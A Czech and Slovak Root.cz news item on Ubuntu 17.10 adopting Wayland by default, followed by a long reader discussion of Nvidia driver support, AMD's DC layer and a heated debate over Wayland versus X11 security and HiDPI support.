Ačkoli se s nasazením Waylandu v Ubuntu počítalo od dubna, kdy byla oficiálně ukončena práce na Miru a Unity 8, poslední dobou se objevily pochybnosti, zdali je Wayland skutečně dostatečně zralý.
Nyní padlo konečné rozhodnutí: Ubuntu 17.10 bude používat Wayland ve výchozím nastavení s tím, že Xorg bude samozřejmě disponibilní jako fallback. Zdá se ovšem, že Canonical to stále bere jako experiment s tím, že o 18.04 se teprve rozhodne.
Tato zprávička byla zaslána čtenářem serveru Root.cz pomocí formuláře Přidat zprávičku. Děkujeme!
a jak to pojede na nvidia karte? podle tohodle https://bugs.archlinux.org/task/53284 to na archu nejede, tak jsem na ne zvedavej..
Tak to by mě také zajímalo jestli v PC bude Waylandem plně podporovaná nvidia karta. Kdysi jsem někde četl že Nvidia tvoří nesvobodný ovladač pro Mir.
Pro Fedoru dělá Nvidia opatchovaný Mutter, který podporuje EGLStreams:
https://copr.fedorainfracloud.org/coprs/mvicomoya/mutter-eglstream/
Momentálně s Nvidií hledáme nějaké dlouhodobé řešení, které by mohlo být přímo ve Fedoře. Počítám, že časem se dostane i do Ubuntu.
Takže nVidia si stále patlá své EGLStreams, místo aby zapracovali na GMB? Smutné, ale co od těch arogantů čekat jiného. Myslel jsem, že XDC přinece nějaké zlepšené. Jen mě mrzí, že gnome nevyvíjí nátlak na nVidii společně s ostatníma, ale leze ji do zadele a začleňuje zbytečný kód pro EGLStream.
On EGLStreams je celkove lepsi reseni po technicke strance.. jakoze nvidia ma pravdu, ehl je lepsi a melo by se najit celkove lepsi api, ktere nebude mit omezeni gbm.
Ale to je beh na dlouhou stran,mezitim by nvidia mela implementovat gbm,coz se ale nestane podle vseho...
A lidi pritom nadavaji AMD za DC, pritom se AMD v tomhle chova 10000x lepe nez nvidia...
Na AMD už snad nemůže nadávat nikdo soudný. Pro Linux je to kvalitou podpory jasná volba GPU…
Ja ted narazel na maintainery DRM (pracujici pro Intel btw), kteri AMD poslali do haje s jejich amdgpu driverem, protoze obsahuje mezivrstvu (DC), ktera umoznuje jejich kod lepe sdilet mezi platformami a hw tymy.
Samozrejme jejich technicke argumenty chapu, ale stejne tak chapu AMD a jsem presvedcen, ze jediny zpusob jak mit state of the art drivery na Linuxu je sdilet ten kod mezi platformami. AMD ma preci jen trochu komplexnejsi gpu nez intel (kde mimochodem ten intel driver za windows zaostava).
A nyni AMD z meho pohledu zcela zbytecne pracuje na odstraneni (resp. Zmenseni) te mezivrstvy misto toho, aby se v driverech zamerili na jine veci. Dost se divim,ze se na ten pokus o mainline nevykaslali po tom steru, co dostali, ja bych to osobne udelal, Linux je konec koncu moc nezivi na poli gpu...
Nemá to samé Nvidia, jen s tím rozdílem že u AMD je ta OSS část opravdu funkční driver, zatímco u Nvidie jen tupý wrapper pro blob?
No vsak prave na to jsem poukazoval... ze AMD tu schytava shitstorm, pritom se z GFX vendoru chova nejlepe... nikdo snad neceka ze amd vycleni velke oddeleni na vyvoj ovladace pro linux from scratch a nebude chtit mit zadny code sharing s vsemi ostatnimi platformami... to samozrejme vse pri linuxovem podilu na desktop / gaming marketu...
Obě api mají své klady i zápory. Optimální by bylo api zcela nové, které bude stavět na tom nejlepším ze všech: GBM, EGLStream, Vulcan, Gralloc, DMA-BUF. Ale než se tak stane(a zda-li vůbec), nvidia bude podporovat jen své EGLS a "vést diskusi nad novým API".
Pro gnome si RH vyjednal opatchování mutteru přímo nvidií. V KDE to bude horší. Martin Graesslin prohlásil, že Kwin bude podporovat jen jedno api. To rozšířenější GBM. EGLStream implementovat nebude, pač na to nemá čas, ani volné vývojáře. Ted ještě problémy s Qt... Nezávidím mu situaci, ve které se ocitli. Ale to už odbočuju.
Mozna by bylo fajn k te zpravicce pripsat nejdriv tu verzi pro lidi a az pak techniky, kteri vi, o cem je rec.
Vim, ze je ubuntu, nemam zdani, co je Wayland, co je Mira. Unity je tusim 3d engine, co pouzivaji hry (tady se nejspis jedna o nejakou optimalizaci prikazu unity pro linux, neco jako directX pro win). Co je Xorg. Co je disponibilní? Co je fallback?
No, a celkove, zaver je jaky? Predchozi ubuntu pouzivalo co? A v cem je tohle nove lepsi? Patches info nulove :)
Za mne vsechny tyhle super-tech zpravicky psane cinsky prinos informaci nulovy.
No, on ten peter nebude spokojen na žádném webu. Ani weby o windows nepíší do každé zprávičky definice všech technologií, o kterých se zmiňují. Takže jakmile zprávička "vyšla nová verze Windows 10" neobsahuje detailní rozbor, co je to NTFS, FAT32, Win32 API a UEFI, tak je to pro něj nulová informační hodnota. Zřejmě čekal, že si přečte dva krátké odstavce a dozví se to, co jiní studují týdny.
Nebylo by to unavne, stacilo by to napsat jednou napr. formou clanku nebo jine stranky na root.cz a ten pak ve zpravicce linkovat.
Pekne vsechno na jednom miste v pripade ze bude ona stranka aktualizovana.
Ona takova ceska wiki "co je co" ohledne linuxu by se hodila vice, zejmena (nejen) pro ty novacky co se rozhodli opustit "to jedine spravne" (a vyhli se i tomu druhemu jedinemu spravnemu ;)
Jo, a k tomu si zaplatíme armádu lidí, co ty "napsat jednou" budou updatovat kdykoliv se cokoliv změní. A do zpráviček budeme přidávat stovky linků na články.
Ta wiki tady přímo na rootu byla. Ale lidé se do její údržby moc nehnali. Viz: https://www.root.cz/slovnicek/
Pro všechny případy zde je pár vysvětlivek. Xorg je svobodná implementace grafického systému X-Window. To je ta část systému, která zajišťuje základní grafické funkce a umožňuje používat okna, myš atd. Grafika v Ubuntu i v ostatních Linuxových distrech byla odjakživa založená na X-Window, dneska tedy konkrétně na softwarovém balíku Xorg, ale vývojáři se shodují na tom, že tento systém, jehož původ sahá do roku 1984 (tedy dávno před Linuxem), už moc nevyhovuje dnešnímu hardware ani dnešním aplikacím. Wayland je nový, modernější grafický systém, vyvíjený s cílem nahradit staré X-Window. Některé distribuce už ho začaly používat, mj. nejnovější Fedora a Mageia. Pro Ubuntu se donedávna počítalo s konkurenčním projektem Mir, což byla podobná věc jako Wayland, ale vyvíjená zvlášť firmou Canonical pro Ubuntu. V dubnu letošního roku ale Canonical ohlásil, že s vývojem Miru končí a Ubuntu se tak bude rovněž orientovat na Wayland.
Co to znamená pro uživatele? V ideálním případě by koncový uživatel nic nepoznal, protože se jedná "jenom" o modernizaci jedné důležité komponenty operačního systému. V praxi to bohužel bude samozřejmě poněkud složitější. První problém bude s grafickými ovladači, především s proprietárními ovladači jako Nvidia. Ty dneska podporují Xorg, ale ne Wayland, takže kdo má Nvidii bude mít alespoň zpočátku smůlu. Druhým problémem bude kompatibilita aplikací, protože v současné době zdaleka ne všechny ještě fungují spolehlivě ve Waylandu. Proto Ubuntu bude zatím podporovat i Xorg jako nouzové řešení pro případy, kdy Wayland nepůjde normálně používat. To jsem myslel tím anglicismem "fallback", za který se omlouvám ;-)
No a v případě Ubuntu tu bude ještě jedna velká změna, protože v souvislosti s přeorientováním se z Miru na Wayland Canonical současně oznámil konec desktopu Unity (jedná se o grafické prostředí z Ubuntu a nikoli o herní engine, který se rovněž jmenuje Unity ale nijak s tím nesouvisí). Budoucí verze Ubuntu tak budou místo toho používat prostředí GNOME (jako má dneska např. Fedora), takže v důsledku bude Ubuntu 17.10 pro uživatele dost velký šok.
Nemyslím si, že přechod z Unity na Gnome bude na Ubuntu pro uživatele tak velký šok. Na začátku se trošku zorientuje, zjistí kam se ty které ikonky/menu přemístily a spustí si svúj Firefox, či Chromium a bude pracovat s ním. Tam se nic nemění. Prostředí stejně slouží hlavně k spouštění programú se kterými se pracuje. Možná je jenom zmate trošku jiné pědinstalované aplikace v základu ale to se dá změnit a doinstalovat co chybí, případně odinstalovat co přebývá.
Je vývojář jádra "pokročilý uživatel"? Je někdo, kdo pracuje na statickém analyzátoru kódu dostatečně "pokročilý"? Co takhle pentester nebo někdo, kdo se věnuje reverse-engineeringu? Je někdo, kdo je zodpovědný za několik Ubuntích balíků, snapů atd... pokročilý? Co překladatel mezi různými jazyky, co si vybudoval vlastní překladovou paměť, implementoval automatické rozpoznávání specializovaných termínů pomocí Bayesovské sítě a jejich vyhledávání na webu atd, smí se pouvažovat za "pokročilého"? A to mluvím jen o konkrétních osobách, které se mě osobně nějak týkají. Jsou prostě miliony uživatelů, kteří se na svých počítačích věnují věcem, o kterých se základnímu linuxákovi ani nezdá, a mají společné jedno: očekávají, že jim stroj bude "prostě fungovat", protože na nějaké upravování distra jednak nemají čas, a jednak - a to především - už je dávno přestalo zajímat hrát si na sysadmina. Někomu to možná připadá těžko pochopitelné, ale počítač má i jiná užití, než si konfigurovat OS anebo se učit konfigurovat OS. Někde na Youtube je nezapomenutelné video z nějaké debaty s Linusem, kde se skupina "pokročilých" linuxáků pustila do vášnivé debaty o tom, jestli je lepší xterm, rxvt anebo užnevímco, až se jeden zeptal Linuse, který z nich používá on, a Linus s úsměvem odpověděl, že neví a je mu to jedno :D
Díky za hodnotnější příspěvek, který vysvětluje více než článek samotný. Ve stolním PC používám GK Nvidii s nesvobodným ovladačem. Při přechodu na 17.1 s Waylandem bez doinstalování Xorg nebude počítač v normálním rozlišení pracovat?? Pracuje Nvidia i na nesvobodném ovladači pro Wayland?
Xorg nebude nutné doinstalovávat, protože minimálně po přechodné období (které dle mého názoru potrvá přinejmenším do Ubuntu 20.10) se bude ve výchozím stavu instalovat souběžně s Waylandem. Dál už záleží na tom, jak to Ubuntu konkrétně implementuje. Můžeme doufat, že v takových situacích systém automaticky přepne na Xorg, aniž by jste se o to musel starat. V nejhorším případě je vždycky možné přepínat mezi Xorg a Waylandem ručně, na přihlašovací obrazovce. Uživatelé s kartami Nvidia tak definitivně přejdou na Wayland buď až Nvidia vydá ovladač kompatibilní s Waylandem (kdy to bude se zatím neví, ale že to budou muset udělat je jisté), anebo až bude svobodný ovladač Nouveau dostatečně schopný, podle toho, co nastane dřív.
Moc ději za odpověď, která je pro i mě plně dostačující. Pokud ještě v příští LTS verzi bude souběžně Wayland s Xorg tak věřím že do té doby bude Wayland použitelný a že Nvidia vydá pro něj ovladač. U kamaráda, který používá Fedoru jsem viděl Wayland v provozu a je to zatím naprostá tragedie.
Ještě by někdy bylo celkem zajímavé udělat článeček pro nás zaostalé Xorgáky, zda je již na čase měnit (ideálně s výsledkem ne, xorg bude ještě dlouho velmi stabilní plně funkční a podporovanou variantou), případně nějaké srovnání, jakou tedy konkurenci Xorgu tu máme (Wayland, Mir, ...) a v čem je dobudoucna její potenciál, proč bychom případně měli změnu zvažovat a nějaké další srovnání. Tohle je jedna z mála částí instalace Linuxu, u které vždycky přemýšlím, jestli bych neměl někdy vyzkoušet nějakou alternativu, která by co se týče výkonu a úspory byla lepší
V sucasnosti Wayland este stale viac veci nepozna ako podporuje a ked si aj clovek trufne ho nasadit, absolutna vacsina aplikacii stale bezi cez XWayland. Protokol sa popri tom krasne nafukuje a mnozstvo extensions, ktore window manager _musi_ podorovat davno prekonalo tie z X.
Nakolko ho ale pretlaca Redhat, mozeme do par mesiacov ocakavat podobnu situaciu ako pri pulseaudio, akurat s tym rozdielom, ze ludia s popadanym Waylandom nebudu mat ani z coho pisat na forum.
Ktera vetsina aplikaci jede pod Xwayland? To uz davno neni pravda alespon u GTK3 aplikaci. Momentalne koukam na muj desktop - pod Xwaylandem bezi akorat Firefox, jinak vse (povetsinou pravda GNOME 3 aplikace) vse krasne bezi pod nativnim Waylandem. U GTK 3 aplikaci by obecne nemel byt problem, QT 5 tez podporuje (ale podpora KDE Waylandu je katastrofa).
Nenech se zmast tim, ze v soucasne dobe Xwayland vyzaduje Mutter na input handling (coz je sice nemile, ale docasne reseni), jinak krom FF v GNOME 3 (a obecne GTK 3) aplikace jedou ve vetsine pripadu zcela nativne.
Jinak vzhledem k tomu, ze Wayland uz ma Fedora defaultne nejakou dobu a nestalo se NIC, tak je to vykrik do prazdnoty o tom, jak to RH tlaci a skonci to problemem...
Co okrem GTK3 vobec podporuje wayland? Co okrem GTK3 ho realne pouzije, ked je k dispozicii?
Na stroji za ktorym prave sedim su GTK3 aplikacie asi 4. Dve z toho som napisal a jedna je pavucontrol.
> Nenech se zmast tim, ze v soucasne dobe Xwayland vyzaduje Mutter na input handling
Predpokladam, ze hovoris o konkretnej implemntacii, inak skutocne netusim, na co by mu bol.
> Jinak vzhledem k tomu, ze Wayland uz ma Fedora defaultne nejakou dobu a nestalo se NIC, tak je to vykrik do prazdnoty o tom, jak to RH tlaci a skonci to problemem...
Nestalo sa nic, nakolko to kazdy prepol :) Inak issues od neborakov, co im pre Wayland zrazu nieco prestalo fungovat mam na githube pravidelne. Neprijemne je, ze obcas ani netusia, co ten Wayland je...
> Co okrem GTK3 vobec podporuje wayland? Co okrem GTK3 ho realne pouzije, ked je k dispozicii?
Nema smysl se bavit o podpore moderniho display stacku na nicem jinem nez aktualnich verzich GUI toolkitu, ktere tu navic jsou uz leta. Takze GTK 3 a QT 5 podporu ma, u legacy apps/toolkitu to nejak nevidim duvod resit, ty at klidne jedou pres Xwayland.
> Nestalo sa nic, nakolko to kazdy prepol :)
Citation needed. Nic z takoveho z verejne dostupnych informaci (mailing list, bugzila) rozhodne neplyne :-) Samozrejme, ze Wayalnd ma nejake problemy, to se samozrejme da cekat, ale ze by zrovna Xorg problemy nemel...
> Inak issues od neborakov, co im pre Wayland zrazu nieco prestalo fungovat mam na githube pravidelne. Neprijemne je, ze obcas ani netusia, co ten Wayland je...
Otazkou je, zda neni problem spise v tve aplikaci, evidentne jsi ji na Waylandu neotestoval :)
> Nema smysl se bavit o podpore moderniho display stacku na nicem jinem nez aktualnich verzich GUI toolkitu, ktere tu navic jsou uz leta. Takze GTK 3 a QT 5 podporu ma, u legacy apps/toolkitu to nejak nevidim duvod resit, ty at klidne jedou pres Xwayland.
To je hodne oklukou povedane "dokopy nic" :)
> ale ze by zrovna Xorg problemy nemel...
A okrem toho bije cernochov...
> Otazkou je, zda neni problem spise v tve aplikaci, evidentne jsi ji na Waylandu neotestoval :)
Ale ano, otestoval. A skonstatoval som, ze Wayland potrebnu funkcionalitu (zistenie / nastavenie pozicie mysi, zistenie aktivneho okna, override_redirect flag) jednoducho nema.
> To je hodne oklukou povedane "dokopy nic" :)
Nevim.co oouzivas ty za aplikace, ale gtk2 aplikacim se vyhybam jak cert krizi, uz treba kvuli mizerne hidpi podpore.
Starsi qt nemam.na systemu vubec, na gtk2 par starickych apps, co moc nepouzivam.
Ale mozna pouzivas spise nejake starsi aplikace, nicmene v takovem pripade negeneralizuj))
> Ale ano, otestoval. A skonstatoval som, ze Wayland potrebnu funkcionalitu (zistenie / nastavenie pozicie mysi, zistenie aktivneho okna, override_redirect flag) jednoducho nema.
Ano nema a snad to tak i zustane )) takovehle operace nema co aplikace mit moznost delat,ta si ma maximalne hrat se svym window a nema co vedet o ostatnich apps a uz vubec ne delat veci jako manipulovat s pozici mysi. Takove veci patri do compositoru. V opacnem pripade je ten system deravy cednik na urovni Windows 95.
Wayland tohle resi mnohem lepe nez X11(ktere to neresi prakticky nijak)
> Ano nema a snad to tak i zustane )) takovehle operace nema co aplikace mit moznost delat,ta si ma maximalne hrat se svym window a nema co vedet o ostatnich apps a uz vubec ne delat veci jako manipulovat s pozici mysi. Takove veci patri do compositoru. V opacnem pripade je ten system deravy cednik na urovni Windows 95.
A tym sme sa opat dostali k tomu, ze s nami Xorg bude este mno, mnoho rokov :)
Vazne si myslis, ze majorita uzivatelu bude chtit zustat u spatneho (a nebezpecneho) reseni jen proto, aby mohla pouzivat tvoji appku ci podobnou ?:) Jiste, par se jich urcite najde, ale majorita uzivatelu nic takoveho resit nebude a kdyz se jim nainstaluje funkcni desktop v distribuci s Waylandem, tak u nej zustanou, protoze funguje.
U wayland desktopu jsou jine problemy - napr. u GNOME 3 neni podpora multi GPU outputu (xorg ji sice ma pomoci (reverse) prime, ale moc to nefunguje, ale aspon neco), podpora ze strany KDE je mizerna (ale to je obecne vetsi problem - KDE jde trochu do haje, nestiha vyvoj, konec koncu jedine velke distro, ktere ho pouziva defaultne, je OpenSUSE). Tam asi Xorg jeste nejakou chvilku vydrzi, ale celkem se da ocekavat, ze se ta technologicka zaostalovat bude zvysovat (nove veci v gfx stacku se primarne uz implementuji pro Wayland, ne pro Xorg)
> Vazne si myslis, ze majorita uzivatelu bude chtit zustat u spatneho (a nebezpecneho) reseni jen proto, aby mohla pouzivat tvoji appku ci podobnou ?:)
Ano :)
Realita je nastastie taka, ze sa uvedenim Waylandu X nebezpecnym nestalo a az na par masochistov na Wayland sere pes. A ked sa ho podari aj napchad uzivatelom dolu krkom, v bordeli co to sposobi padnu cele distra.
Nezabudaj, ze na tej tvojej "super bezpecnej" ptakovine nebezi poriadne ani Steam.
Nijak, proste takove aplikace nebudou a je to tak spravne.
Je to asi to stejne, jako resit, jak zajistit kompatibilitu DOS aplikaci, ktere primo pristupuji k HW (coz umoznuje napr. skvele psani viru). Nijak, proste to nejde a takove aplikace proste zmizi z noveho systemu (realne, kolik % uzivatelu vubec takovy druh aplikace potrebuje?), protoze zajisteni kompatibility by znamenalo zustat u deraveho cedniku.
> Nijak, proste takove aplikace nebudou a je to tak spravne.
Kto urcil ake druhy aplikacii smiem pouzivat na svojom PC? Mozno by mi to dovolil, keby som poprosil na kolenach?
--
Neprijemne je, ze rovnaky stupen kretenizmu ako tuna tnr prejavuju i vyvojary samotneho Waylandu. Na druhej strane, vzdy je tu moznost presunut sa na daky otvorenejsi OS, napriklad Windows...
Pokud ti nevyhovuje Wayland, ktery uprednostnuje bezpecnost aplikaci (coz nadherne umoznuje kontejnerizovat aplikace, kdyz compositor je bezpecny), muzes klidne zustat u xorgu, nebo treba prejit na Windows, tam ti uroven (ne)zabezpeceni bude vyhovovat vice...
Wayland povinnost urcite neni, ale neni povinnost jeho autoru kompromitovat jeho bezpecnostni architekturu kvuli aplikacim nejakych matlalu, kteri maji pocit, ze maji mit pristup k oknum ostatnich aplikaci a bezpecnost jim je sumak))
> ale neni povinnost jeho autoru kompromitovat jeho bezpecnostni architekturu
Ja sice chapem tvoje nadsenie novou hrackou, ale radsej si o nej nieco nastuduj. Wayland nema bezpecnostnu architekturu, ma len veci ktore nie su mozne priamo cez protokol.
Ked uz mi raz umoznis pustit na svojom stroji kod, posledne co budem potrebovat je hybat ti mysou. Postahujem si vsetko na co tvoj uzivatel dociahne (pretoze tomu Wayland nijak nebrani) a keby som nahodou potreboval logovat klavesy, zapisem si LD_PRELOAD s do .bashrc (pretoze tomu Wayland nijak nebrani).
Z hladiska bezpecnosti Wayland nema nic, co by nevedelo X pred nim.
Asi by sis mel spis dostudovat par veci.
Situace, aplikace bezi v sandboxu(napr. ruzne container technologie s pomoci cgroups, takze nic z tvych utoku nepripada,v uvahu):
X11:
Aplikace bezproblemu pristupuje k jakymkoliv oknum, muze odposlouchavat klavesy, pohyb mysi, ....
Wayland:
Aplikace muze manipulovat se svymi okny))
Viz treba:
https://mjg59.dreamwidth.org/42320.html
A zrovna o sandboxovani apps jsou prave technologie jako flatpack ci snap...
> A zrovna o sandboxovani apps jsou prave technologie jako flatpack ci snap...
... ktore funguju na rovnakom principe manifestov ako Androidie APK, akurat sa uzivatela radsej ani nic nepytaju. Ani jedno, ani druhe ta ziadnym sposobom neochrani pred mojou zakernou aplikaciou co tajne zneuziva svoj pristup do $HOME.
> X11:
Aplikace bezproblemu pristupuje k jakymkoliv oknum, muze odposlouchavat klavesy, pohyb mysi, ....
>
> Wayland:
> Aplikace muze manipulovat se svymi okny))
Uzasne, skvele, presvedcil si ma. Slava Waylandu, tri krat hura. /s
K comu je to dobre? Fakt si takto predstavujes "bezpacnost"?
> ... ktore funguju na rovnakom principe manifestov ako Androidie APK, akurat sa uzivatela radsej ani nic nepytaju. Ani jedno, ani druhe ta ziadnym sposobom neochrani pred mojou zakernou aplikaciou co tajne zneuziva svoj pristup do $HOME.
Takze proto, ze uzivatel muze udelat blbost, tak pro jistotu zustaneme u deraveho X11, sandboxing resit nebudeme, protoze uzivatel by nekdy mohl povolit neco, co da aplikaci vyssi prava.
Proc teda vubec resit na unixu nejaka pristupova prava, podle stejne logiky si aplikace muze pozadat o root pristup, tak ho rovnou dejme kazdemu uzivateli :-) A vubec, proc mit vubec VM v systemu, vzdyt muzou vsechny aplikace bezet ve sdilene pameti, protoze uzivatel by to mohl nahodou povolit.
Zcela ti ale unika napr. pouziti ve firemnim prostredi (na ktere RH preci jen dost miri), kde napr. mohu uzivatelum udelat provisioning potencialne mene zabezpecenych aplikaci (napr. browser) pomoci vlastniho flatpak repozitare, podepsaneho specifikovanym GPG klicem, kde prava dostatecne omezim (napr. zadny pristup k $HOME). A to oproti stavajici situaci je jednoznacne zlepseni :-)
> Takze proto, ze uzivatel muze udelat blbost, tak pro jistotu zustaneme u deraveho X11, sandboxing resit nebudeme, protoze uzivatel by nekdy mohl povolit neco, co da aplikaci vyssi prava.
Ano. Nemame ziaden dovod nedosledne chranit uzivatela pred nim samim. A ked to vies spravit dosledne, uzivatel sa ti na taky system vysere.
Sucasny system postaveny na sudo / gksudo funguje dobre. Pokial ho chce niekto rozsirit na androidie "Tato aplikacia chce pristupovat k Dokumentom, povolit", nemam v podstate nic proti, ale nepredstavuj si, ze sa tym nieco ochrani.
Ale system, ktory sa nic nespyta a jednoducho funkcnost, ktoru pouzivame dakych 50 rokov len tak odstrani, nema sancu na prezitie.
> Zcela ti ale unika napr. pouziti ve firemnim prostredi
Pravda, skutocne nevidim dovod, preco by som na mojom desktope mal byt obmedzovany planom Redhatu pre podniky.
> Ale system, ktory sa nic nespyta a jednoducho funkcnost, ktoru pouzivame dakych 50 rokov len tak odstrani, nema sancu na prezitie.
Protoze to rikas ty ?:) Zatim distribuce na Wayland pomalu migruji (coz je pochopitelne u nove technologie), takze bud to necim doloz, nebo je to jen prazdny kec.
> Pravda, skutocne nevidim dovod, preco by som na mojom desktope mal byt obmedzovany planom Redhatu pre podniky.
Vsak to pouzivat nemusis, nikdo te nenuti :-) Muzes klidne zustat u Xorgu, klidne ho pak i muzes sam vyvijet, az se na to RH a dalsi vykasle :)
> Zagoogluj si "fedora 25 problem" a "fedora disable wayland", ciste pre tu srandu. Dostanes dost vtipne mnozstvo ludi, ktori v takom pripade prejdu, pravdepodobne k Windowsu.
A ted si pro zmenu zkus najit seznam bugu v Xorgu :-) Nikdo nerika, ze Wayland nema zadne problemy, ja jsem jich tu mimojine par napsal, je to nova technologie, ktera je navic ve vyvoji, takze nejake problemy tu jsou. Ale obecne vzhledem k tomu, jak zasadni zmena to je, tak za me rozhodne palec nahoru, cekal jsem mnohem, mnohem vetsi problemy pri prechodu.
X11 je zatizeny obrovskym historickym dedictvim, celkove spatnym designem (najdes o tom spoustu na netu, napr. http://www.phoronix.com/scan.php?page=article&item=x_wayland_situation&num=1 ), Wayland naproti tomu nabizi mnohem jednodussi, elegantnejsi, navic bezpecnejsi architekturu. A proto se vyvoj primarne smeruje na Wayland, i kdyz samozrejme tu Xorg asi jeste nejakou dobu bude skomirat.
> A ted si pro zmenu zkus najit seznam bugu v Xorgu :-)
Naco? Vidis niekde huf ludi utekajucich od neho k X10? :D
> Wayland naproti tomu nabizi mnohem jednodussi, elegantnejsi, navic bezpecnejsi architekturu.
Skus si niekedy napisat kompozitor, fakt sa pobavis. Normalne by som odporucal by som libwlc, aby si sa nezblaznil uplne, hlavne az sa nam podari dopatlat kod pre renderer. Ale v tomto konkretnom pripade si to urcite skus nacisto.
> Naco? Vidis niekde huf ludi utekajucich od neho k X10? :D
A kde se da stahnout nejaka X10 implementace funkcni v aktualnim Linuxu ?:-) Nikde.
Wayland a Xorg jsou v soucasne dobe pouzitelne oboje, proto uzivatele mezi nimi mohou migrovat. Navic Wayland je porad ve vyvoji, nektere veci jeste nepodporuje, takze je logicke ze jej nekteri uzivatele vypnou (nejvice viditelna je asi situace s reverse prime u hybridnich grafik - prime podporpovane je, reverse prime zatim ne). A zase naopak nektere veci uz se implementovali primarne pro Wayland a X11 je nepodporuje (HiDPI podpora v X11 je neskutecne mizerna, ve Waylandu funguje krasne).
Ale smer je jasny - vyvoj bude primarne probihat pro Wayland a v long term horizontu Xorg zmizi a zustane maximalne Xwayland pro kompatibilitu s legacy aplikacemi.
> Skus si niekedy napisat kompozitor, fakt sa pobavis. Normalne by som odporucal by som libwlc, aby si sa nezblaznil uplne, hlavne az sa nam podari dopatlat kod pre renderer. Ale v tomto konkretnom pripade si to urcite skus nacisto.
Proc bych to delal, mutter mi vyhovuje :-)
> Proc bych to delal, mutter mi vyhovuje :-)
Myslim, ze by si potom prestal zvastat tie neuveritelne kydy o jednoduchosti a elegancii jeho architektury. Vedel si napriklad, ze potrebujes vytvorit ~10 server-side objektov len na to, aby sa ti zobrazilo okno?
> HiDPI podpora v X11 je neskutecne mizerna, ve Waylandu funguje krasne
Zacinam mat podozrenie, ze si zivi Wayland (alebo HiDPI display) nikdy nevidel :)
> Myslim, ze by si potom prestal zvastat tie neuveritelne kydy o jednoduchosti a elegancii jeho architektury. Vedel si napriklad, ze potrebujes vytvorit ~10 server-side objektov len na to, aby sa ti zobrazilo okno?
Z hlavy, co si pamatuju, je potreba vytvorit surface, shell surfact, shm a nabindovat wl_registry. Ale nechci se hadat, jestli jich je 10 nebo 4, protoze to je uplne jedno. V X11 musim tvorit display connection, window (a mimochodem idiotsky handling windows je jedna z duvodu, proc je X11 broken by design - kdyz musim tvorit window pro veci jako je popup menu) a GC. Nejak nevidim vyhodu ani v jednom, ani druhem.
> Zacinam mat podozrenie, ze si zivi Wayland (alebo HiDPI display) nikdy nevidel :)
$ weston-info
...
interface: 'wl_output', version: 2, name: 4
x: 0, y: 0, scale: 2,
physical_width: 350 mm, physical_height: 190 mm,
make: 'SHP', model: '0x1450',
subpixel_orientation: unknown, output_transform: normal,
mode:
width: 3840 px, height: 2160 px, refresh: 59.997 Hz,
flags: current preferred
...
Jeste nejaky hloupy dotaz? Wayland (GNOME 3.24) na 4k display pouzivam (narozdil od tebe) na kazdodenni praci (primarne vyvoj) :)
> proc je X11 broken by design - kdyz musim tvorit window pro veci jako je popup menu
Tak to ta urcite potesi infomacia, ze vo Waylande popup menu vytvara nie len okno, ale naviac i xdg_popup objekt :D
A skus si pustit nieco pre X, QT alebo tak. Obzlvast xterm je strasna prdel, pretoze XWayland o DPI nad nim nic netusi, takze sa zobrazi budto priserne rozmazany alebo s velkostou postovej znamky :)
> Tak to ta urcite potesi infomacia, ze vo Waylande popup menu vytvara nie len okno, ale naviac i xdg_popup objekt :D
Nepresna formulace z me strany, okno vytvari i wayland (i kdyz tam je koncept okna jiny nez v x11), ale nepotrebuje se pak uchylovat k vecem typu grabovani inputu (coz napr. muze zpusobovat problemy pri locku), protoze wayland zna vec jako je popup okno, ktere zanikne, kdyz ztrati pointer :)
Viz https://wiki.gnome.org/Initiatives/Wayland/GTK%2B
> A skus si pustit nieco pre X, QT alebo tak. Obzlvast xterm je strasna prdel, pretoze XWayland o DPI nad nim nic netusi, takze sa zobrazi budto priserne rozmazany alebo s velkostou postovej znamky :)
Proc bych mel pouzivat legacy X11 aplikaci jako xterm (ktera samozrejme nefunguje na HiDPI dobre), kdyz muzu pouzivat gnome-terminal bezici na nativnim Waylandu (stejne jako temer vse v GNOME 3).
Ale to, ze QT nema zatim perfektni podporu Waylandu, to neni opravdu chyba ve Waylandu :-)
> ale nepotrebuje se pak uchylovat k vecem typu grabovani inputu (coz napr. muze zpusobovat problemy pri locku)
Ano, ano, jeden z nas Wayland nikdy nevidel, trva ale na jeho ospevovani :)
xdg_popup_grab je definovany preste podla X11, nakolko bol niekto v Gnome prilis lenivy prepisovat ich blaznive menu na nieco pricetne. A ked si nahodou kompozitor dovoli grab odmietnut, GTK aplikacia spadne, pretoze s takou moznostou proste nerata. Na druhej strane, aj keby ratala, Wayland protokol nema sposob ako jej dat o odmietnuti vediet.
> Ano, ano, jeden z nas Wayland nikdy nevidel, trva ale na jeho ospevovani :)
Dochazeji argumenty, takze se uchylujes k osobnim utokum? Smesne.
> xdg_popup_grab je definovany preste podla X11, nakolko bol niekto v Gnome prilis lenivy prepisovat ich blaznive menu na nieco pricetne. A ked si nahodou kompozitor dovoli grab odmietnut, GTK aplikacia spadne, pretoze s takou moznostou proste nerata. Na druhej strane, aj keby ratala, Wayland protokol nema sposob ako jej dat o odmietnuti vediet.
Michas dve veci dohromady.
Zobrazeni popup menu:
X11:
Vetsina toolkitu provede XGrabKeyboard (aby dostavaly kbd eventy bezohledu na to, zda je okno aktivni nebo ne - coz je trochu nutnost) - diky tomu prestanou fungovat napr. globalni klavesove zkratky, muze byt problem s lockem obrazovky (ktery z principu potrebuje exkluzivni pristup ke klavesnici).
Wayland:
Klavesove zkratky funguji, protoze nic jako XGrabKeyboard zde neni a neni potreba takoveho hacku, jelikoz Wayland ma tyto veci pro popup okna osetreny. A aplikace tomu ani zabranit nemohou, coz je tez plus.
To je presne ten rozdil mezi hacky, ktere jsou potreba na spoustu zakladnich veci v X11 a proper resenim ve Waylandu :-)
Odhliadnuc od toho, ze tvoj popis Waylandu, ktory "ma tyto veci pro popup okna osetreny" nezodpoveda ani specifikacii, ani realite, nejak si do tej fantazie zamiesal i klavesove skratky, pre ktore Wayland podporu nema.
Neplac mi tu nad "osobnymi utokmi", ked uz si schopny spisat nieco taketo, a fakt si pozri aspon tu specifikaciu, nema ani 50 stran :)
1. Nebudu ti tu prepisovat specifikaci, to zvladnes nastudovat i sam :-)
2. Nikde jsem nepsal, ze Wayland ma podporu klavesovych zkratek, ukazoval jsem konkretni pripad rozbiteho X11 (otevru popup okno, prestanou fungovat klavesove zkratky, protoze toolkit dela XGrabKeyboard), kde to na Waylandu funguje spravne :) Jak jsi z toho vyvodil, ze Wayalnd podporuje klavesove zkratky, to me fakt zajima :-)
